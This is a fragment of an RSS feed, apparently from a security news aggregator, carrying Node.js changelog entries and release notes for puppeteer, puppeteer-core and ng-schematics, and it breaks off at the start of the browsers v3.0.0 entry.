<li>[<a href="https://github.com/nodejs/node/commit/db722725bb"><code>db722725bb</code></a>] - <strong>deps</strong>: use npm undici@six tag in <code>update-undici.sh</code> (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63012" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63012/hovercard">#63012</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9b57979d9c"><code>9b57979d9c</code></a>] - <strong>doc</strong>: add Rafael to last security release steward (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62423" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62423/hovercard">#62423</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8075585bf"><code>d8075585bf</code></a>] - <strong>doc</strong>: add path to vulnerabilities.json mention (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/62355" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62355/hovercard">#62355</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ec9a70204"><code>6ec9a70204</code></a>] - <strong>doc</strong>: clarify fs.ReadStream and fs.WriteStream are not constructable (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62208" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62208/hovercard">#62208</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1fc86fcb6e"><code>1fc86fcb6e</code></a>] - <strong>doc</strong>: add note (and caveat) for <code>mock.module</code> about customization hooks (Jacob Smith) <a href="https://github.com/nodejs/node/pull/62075" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62075/hovercard">#62075</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/491be80bd9"><code>491be80bd9</code></a>] - <strong>doc</strong>: add efekrskl as triager (Efe) <a href="https://github.com/nodejs/node/pull/61876" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61876/hovercard">#61876</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/18558293a3"><code>18558293a3</code></a>] - <strong>doc</strong>: fix module.stripTypeScriptTypes indentation (René) <a href="https://github.com/nodejs/node/pull/61992" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61992/hovercard">#61992</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8e20976522"><code>8e20976522</code></a>] - <strong>doc</strong>: explicitly mention Slack handle (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/61986" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61986/hovercard">#61986</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70b8e6b4fb"><code>70b8e6b4fb</code></a>] - <strong>doc</strong>: rename invalid <code>function</code> parameter (René) <a href="https://github.com/nodejs/node/pull/61942" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61942/hovercard">#61942</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4045c76f6c"><code>4045c76f6c</code></a>] - <strong>doc</strong>: clarify status of feature request issues (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61505" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61505/hovercard">#61505</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c54652f2aa"><code>c54652f2aa</code></a>] - <strong>doc</strong>: remove incorrect mention of <code>module</code> in <code>typescript.md</code> (Rob Palmer) <a href="https://github.com/nodejs/node/pull/61839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61839/hovercard">#61839</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9fad6cedf5"><code>9fad6cedf5</code></a>] - <strong>doc</strong>: clarify async caveats for <code>events.once()</code> (René) <a href="https://github.com/nodejs/node/pull/61572" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61572/hovercard">#61572</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f1e5733fe"><code>2f1e5733fe</code></a>] - <strong>doc</strong>: update Juan's security steward info (Juan José) <a href="https://github.com/nodejs/node/pull/61754" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61754/hovercard">#61754</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a64bdb5068"><code>a64bdb5068</code></a>] - <strong>doc</strong>: fix overstated Date header requirement in response.sendDate (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62206" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62206/hovercard">#62206</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02797de923"><code>02797de923</code></a>] - <strong>doc</strong>: fix small environment_variables typo (chris) <a href="https://github.com/nodejs/node/pull/62279" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62279/hovercard">#62279</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f22ebdc809"><code>f22ebdc809</code></a>] - <strong>doc</strong>: fix small logic error in DETECT_MODULE_SYNTAX (René) <a href="https://github.com/nodejs/node/pull/62025" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62025/hovercard">#62025</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9f4508062a"><code>9f4508062a</code></a>] - <strong>doc</strong>: fix methods being documented as properties in <code>process.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61765" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61765/hovercard">#61765</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3ea39ff135"><code>3ea39ff135</code></a>] - <strong>doc</strong>: fix dropdown menu being obscured at &lt;600px due to stacking context (Jeff) <a href="https://github.com/nodejs/node/pull/61735" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61735/hovercard">#61735</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c22445079b"><code>c22445079b</code></a>] - <strong>doc</strong>: fix spacing in process message event (Aviv Keller) <a href="https://github.com/nodejs/node/pull/61756" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61756/hovercard">#61756</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32831b5223"><code>32831b5223</code></a>] - <strong>doc</strong>: fix broken links of net.md (YuSheng Chen) <a href="https://github.com/nodejs/node/pull/61673" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61673/hovercard">#61673</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/005508d509"><code>005508d509</code></a>] - <strong>doc</strong>: remove obsolete Boxstarter automated install (Mike McCready) <a href="https://github.com/nodejs/node/pull/61785" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61785/hovercard">#61785</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37c2fd6f7d"><code>37c2fd6f7d</code></a>] - <strong>esm</strong>: fix path normalization in <code>finalizeResolution</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62080" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62080/hovercard">#62080</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1769d74613"><code>1769d74613</code></a>] - <strong>esm</strong>: populate separate cache for require(esm) in imported CJS (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/59679" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59679/hovercard">#59679</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee02966ffc"><code>ee02966ffc</code></a>] - <strong>http</strong>: fix keep-alive socket reuse race in requestOnFinish (Martin Slota) <a href="https://github.com/nodejs/node/pull/61710" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61710/hovercard">#61710</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2fdb5ce6cc"><code>2fdb5ce6cc</code></a>] - <strong>http2</strong>: fix FileHandle leak in respondWithFile (sangwook) <a href="https://github.com/nodejs/node/pull/61707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61707/hovercard">#61707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aa2c1eca04"><code>aa2c1eca04</code></a>] - <strong>lib</strong>: fix source map url parse in dynamic imports (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61990" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61990/hovercard">#61990</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/785b00cbeb"><code>785b00cbeb</code></a>] - <strong>meta</strong>: pass release version to release worker (flakey5) <a href="https://github.com/nodejs/node/pull/62777" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62777/hovercard">#62777</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/447fb9a0b5"><code>447fb9a0b5</code></a>] - <strong>meta</strong>: persist sccache daemon until end of build workflows (René) <a href="https://github.com/nodejs/node/pull/61639" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61639/hovercard">#61639</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5065a0acb3"><code>5065a0acb3</code></a>] - <strong>module</strong>: do not invoke resolve hooks twice for imported cjs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61529" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61529/hovercard">#61529</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a2e21305d"><code>9a2e21305d</code></a>] - <strong>module</strong>: do not wrap module._load when tracing is not enabled (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61479" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61479/hovercard">#61479</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9240bc063"><code>b9240bc063</code></a>] - <strong>module</strong>: fix sync resolve hooks for require with node: prefixes (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61088" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61088/hovercard">#61088</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2e91b28aaf"><code>2e91b28aaf</code></a>] - <strong>module</strong>: handle null source from async loader hooks in sync hooks (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/59929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59929/hovercard">#59929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39147c154e"><code>39147c154e</code></a>] - <strong>module</strong>: use sync cjs when importing cts (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/60072" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60072/hovercard">#60072</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/12a2462b2c"><code>12a2462b2c</code></a>] - <strong>module</strong>: only put directly require-d ESM into require.cache (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/59874" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59874/hovercard">#59874</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf39566277"><code>cf39566277</code></a>] - <strong>src</strong>: fix flags argument offset in JSUdpWrap (Weixie Cui) <a href="https://github.com/nodejs/node/pull/61948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61948/hovercard">#61948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/578a9a9230"><code>578a9a9230</code></a>] - <strong>src</strong>: clamp WriteUtf8 capacity to INT_MAX in EncodeInto (semimikoh) <a href="https://github.com/nodejs/node/pull/62621" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62621/hovercard">#62621</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57c3035fec"><code>57c3035fec</code></a>] - <strong>stream</strong>: fix decoded fromList chunk boundary check (Thomas Watson) <a href="https://github.com/nodejs/node/pull/61884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61884/hovercard">#61884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57fb008bb8"><code>57fb008bb8</code></a>] - <strong>test</strong>: update tls junk data error expectations (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/363f9a9d18"><code>363f9a9d18</code></a>] - <strong>test</strong>: skip <code>test-url</code> on <code>--shared-ada</code> builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62019" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62019/hovercard">#62019</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/daaead342b"><code>daaead342b</code></a>] - <strong>test</strong>: simplify encodeInto large buffer regression test (semimikoh) <a href="https://github.com/nodejs/node/pull/62621" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62621/hovercard">#62621</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ecfa766b41"><code>ecfa766b41</code></a>] - <strong>tools</strong>: fix auto-start-ci (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61900" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61900/hovercard">#61900</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/17c0a610af"><code>17c0a610af</code></a>] - <strong>tools</strong>: fix parsing of commit trailers in <code>lint-release-proposal</code> GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62077" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62077/hovercard">#62077</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/89ad7dc63b"><code>89ad7dc63b</code></a>] - <strong>tools</strong>: enforce removal of <code>lts-watch-*</code> labels on release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61672/hovercard">#61672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f9bb8ef0c"><code>5f9bb8ef0c</code></a>] - <strong>tools</strong>: revert tools GHA workflow to ubuntu-latest (Richard Lau) <a href="https://github.com/nodejs/node/pull/62024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62024/hovercard">#62024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/977ef80ac1"><code>977ef80ac1</code></a>] - <strong>url</strong>: process crash via malformed UNC hostname in pathToFileURL() (Nicola Del Gobbo) <a href="https://github.com/nodejs/node/pull/62574" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62574/hovercard">#62574</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad8f518a81"><code>ad8f518a81</code></a>] - <strong>zlib</strong>: fix use-after-free when reset() is called during write (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62325/hovercard">#62325</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[ng-schematics: v0.8.0]]></title>
<description><![CDATA[0.8.0 (2026-05-12)
⚠ BREAKING CHANGES

bump min NodeJS to 22 (#14973)
update min version - Node v20.19 and Typescript v5.0.1 (#14364)
move packages to ESM only (#14355)

🎉 Features

move packages to ESM only (#14355) (4c22177)

📄 Documentation

bump min NodeJS to 22 (#14973) (4b6ddc3)
update min ...]]></description>
<link>https://tsecurity.de/de/3511107/downloads/ng-schematics-v080/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511107/downloads/ng-schematics-v080/</guid>
<pubDate>Tue, 12 May 2026 18:31:49 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/puppeteer/puppeteer/compare/ng-schematics-v0.7.0...ng-schematics-v0.8.0">0.8.0</a> (2026-05-12)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>)</li>
</ul>
<h3>🎉 Features</h3>
<ul>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4c22177a7dcbd5a5fe6922eec75351bb56cd0336">4c22177</a>)</li>
</ul>
<h3>📄 Documentation</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4b6ddc3a2631518651187b7795e36fae9a976121">4b6ddc3</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/96f3780289d42557b648a18d806843a28da7e2f5">96f3780</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[puppeteer: v25.0.0]]></title>
<description><![CDATA[25.0.0 (2026-05-12)
⚠ BREAKING CHANGES

bump min NodeJS to 22 (#14973)
return a Promise for executablePath, defaultArgs (#14965)
update min version - Node v20.19 and Typescript v5.0.1 (#14364)
move packages to ESM only (#14355)

🎉 Features

move packages to ESM only (#14355) (4c22177)

📄 Document...]]></description>
<link>https://tsecurity.de/de/3511029/downloads/puppeteer-v2500/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511029/downloads/puppeteer-v2500/</guid>
<pubDate>Tue, 12 May 2026 18:16:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/puppeteer/puppeteer/compare/puppeteer-v24.43.1...puppeteer-v25.0.0">25.0.0</a> (2026-05-12)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>)</li>
<li>return a Promise for executablePath, defaultArgs (<a href="https://github.com/puppeteer/puppeteer/issues/14965" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14965/hovercard">#14965</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>)</li>
</ul>
<h3>🎉 Features</h3>
<ul>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4c22177a7dcbd5a5fe6922eec75351bb56cd0336">4c22177</a>)</li>
</ul>
<h3>📄 Documentation</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4b6ddc3a2631518651187b7795e36fae9a976121">4b6ddc3</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/96f3780289d42557b648a18d806843a28da7e2f5">96f3780</a>)</li>
</ul>
<h3>🏗️ Refactor</h3>
<ul>
<li>return a Promise for executablePath, defaultArgs (<a href="https://github.com/puppeteer/puppeteer/issues/14965" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14965/hovercard">#14965</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/74059fd3352b789df73cb297c56be6694b2200ab">74059fd</a>)</li>
</ul>
<h3>Dependencies</h3>
<ul>
<li>The following workspace dependencies were updated
<ul>
<li>dependencies
<ul>
<li>@puppeteer/browsers bumped from 2.13.2 to 3.0.0</li>
<li>puppeteer-core bumped from 24.43.1 to 25.0.0</li>
</ul>
</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[puppeteer-core: v25.0.0]]></title>
<description><![CDATA[25.0.0 (2026-05-12)
⚠ BREAKING CHANGES

remove deprecated Puppeteer.product (#14977)
bump min NodeJS to 22 (#14973)
return a Promise for executablePath, defaultArgs (#14965)
remove deprecated MouseOptions.clickCount (#13865)
update min version - Node v20.19 and Typescript v5.0.1 (#14364)
remove d...]]></description>
<link>https://tsecurity.de/de/3511028/downloads/puppeteer-core-v2500/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511028/downloads/puppeteer-core-v2500/</guid>
<pubDate>Tue, 12 May 2026 18:16:32 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/puppeteer/puppeteer/compare/puppeteer-core-v24.43.1...puppeteer-core-v25.0.0">25.0.0</a> (2026-05-12)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
<li>remove deprecated Puppeteer.product (<a href="https://github.com/puppeteer/puppeteer/issues/14977" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14977/hovercard">#14977</a>)</li>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>)</li>
<li>return a Promise for executablePath, defaultArgs (<a href="https://github.com/puppeteer/puppeteer/issues/14965" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14965/hovercard">#14965</a>)</li>
<li>remove deprecated MouseOptions.clickCount (<a href="https://github.com/puppeteer/puppeteer/issues/13865" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/13865/hovercard">#13865</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>)</li>
<li>remove deprecated Browser.isConnected() (<a href="https://github.com/puppeteer/puppeteer/issues/14910" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14910/hovercard">#14910</a>)</li>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>)</li>
<li><strong>puppeteer-core:</strong> Remove Cookie attribute sameParty (<a href="https://github.com/puppeteer/puppeteer/issues/14545" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14545/hovercard">#14545</a>)</li>
<li>normalize newline-separated headers to comma-separated format (<a href="https://github.com/puppeteer/puppeteer/issues/14492" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14492/hovercard">#14492</a>)</li>
</ul>
<h3>🎉 Features</h3>
<ul>
<li>move packages to ESM only (<a href="https://github.com/puppeteer/puppeteer/issues/14355" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14355/hovercard">#14355</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4c22177a7dcbd5a5fe6922eec75351bb56cd0336">4c22177</a>)</li>
</ul>
<h3>🛠️ Fixes</h3>
<ul>
<li>block standard network emulation reset if allowlist or blocklist are enabled (<a href="https://github.com/puppeteer/puppeteer/issues/14976" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14976/hovercard">#14976</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4e75b66e333803960c77d88f9357fba411796f36">4e75b66</a>)</li>
<li>Handle missing sessionId when looking up callbacks (<a href="https://github.com/puppeteer/puppeteer/issues/14975" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14975/hovercard">#14975</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4faa0e6ce9dd5db3ab41407c427de89d08ca20bd">4faa0e6</a>)</li>
<li>normalize newline-separated headers to comma-separated format (<a href="https://github.com/puppeteer/puppeteer/issues/14492" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14492/hovercard">#14492</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/1ea5deabbcb6ea81095a3fef5dfd0f1b94d9df61">1ea5dea</a>)</li>
<li><strong>puppeteer-core:</strong> Remove Cookie attribute sameParty (<a href="https://github.com/puppeteer/puppeteer/issues/14545" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14545/hovercard">#14545</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/be2d86a5659b8391ece6a4026582cf69716aae8c">be2d86a</a>)</li>
<li><strong>webdriver:</strong> don't store request on BrowsingContext (<a href="https://github.com/puppeteer/puppeteer/issues/14966" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14966/hovercard">#14966</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4e4daec603f62f206a93019693d24ba7b93ad9d4">4e4daec</a>)</li>
</ul>
<h3>📄 Documentation</h3>
<ul>
<li>bump min NodeJS to 22 (<a href="https://github.com/puppeteer/puppeteer/issues/14973" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14973/hovercard">#14973</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/4b6ddc3a2631518651187b7795e36fae9a976121">4b6ddc3</a>)</li>
<li>update min version - Node v20.19 and Typescript v5.0.1 (<a href="https://github.com/puppeteer/puppeteer/issues/14364" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14364/hovercard">#14364</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/96f3780289d42557b648a18d806843a28da7e2f5">96f3780</a>)</li>
</ul>
<h3>⚡ Performance</h3>
<ul>
<li><strong>webdriver:</strong> remove intermediate object wrappers (<a href="https://github.com/puppeteer/puppeteer/issues/14967" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14967/hovercard">#14967</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/c19b855390e94a6e571fa540c872e3351fec4e7d">c19b855</a>)</li>
</ul>
<h3>🏗️ Refactor</h3>
<ul>
<li>don't use debug lib directly (<a href="https://github.com/puppeteer/puppeteer/issues/14969" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14969/hovercard">#14969</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/7cbebc6ea1d881ce6538a82014e73dd0e785e754">7cbebc6</a>)</li>
<li>remove deprecated Browser.isConnected() (<a href="https://github.com/puppeteer/puppeteer/issues/14910" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14910/hovercard">#14910</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/f2cdffc4d4d6c965098666cdb79bb8a39de0ea0d">f2cdffc</a>)</li>
<li>remove deprecated MouseOptions.clickCount (<a href="https://github.com/puppeteer/puppeteer/issues/13865" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/13865/hovercard">#13865</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/1f6bd1f98fc9090b632442538b066aa04368a87c">1f6bd1f</a>)</li>
<li>remove deprecated Puppeteer.product (<a href="https://github.com/puppeteer/puppeteer/issues/14977" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14977/hovercard">#14977</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/2b097b714ebf2e0e61e71002194caacecbdcedf8">2b097b7</a>)</li>
<li>return a Promise for executablePath, defaultArgs (<a href="https://github.com/puppeteer/puppeteer/issues/14965" data-hovercard-type="pull_request" data-hovercard-url="/puppeteer/puppeteer/pull/14965/hovercard">#14965</a>) (<a href="https://github.com/puppeteer/puppeteer/commit/74059fd3352b789df73cb297c56be6694b2200ab">74059fd</a>)</li>
</ul>
<h3>Dependencies</h3>
<ul>
<li>The following workspace dependencies were updated
<ul>
<li>dependencies
<ul>
<li>@puppeteer/browsers bumped from 2.13.2 to 3.0.0</li>
</ul>
</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[browsers: v3.0.0]]></title>
<description><![CDATA[3.0.0 (2026-05-12)
⚠ BREAKING CHANGES

bump min NodeJS to 22 (#14973)
update min version - Node v20.19 and Typescript v5.0.1 (#14364)
move packages to ESM only (#14355)
make proxy agent optional peer dependency and update to v8 (#14894)
remove public makeProgressCallback helper (#13804)
replace e...]]></description>
<link>https://tsecurity.de/de/3511027/downloads/browsers-v300/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3511027/downloads/browsers-v300/</guid>
<pubDate>Tue, 12 May 2026 18:16:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/puppeteer/puppeteer/compare/browsers-v2.13.2...browsers-v3.0.0">3.0.0</a> (2026-05-12)</h2>
<h3>⚠ BREAKING CHANGES</h3>
<ul>
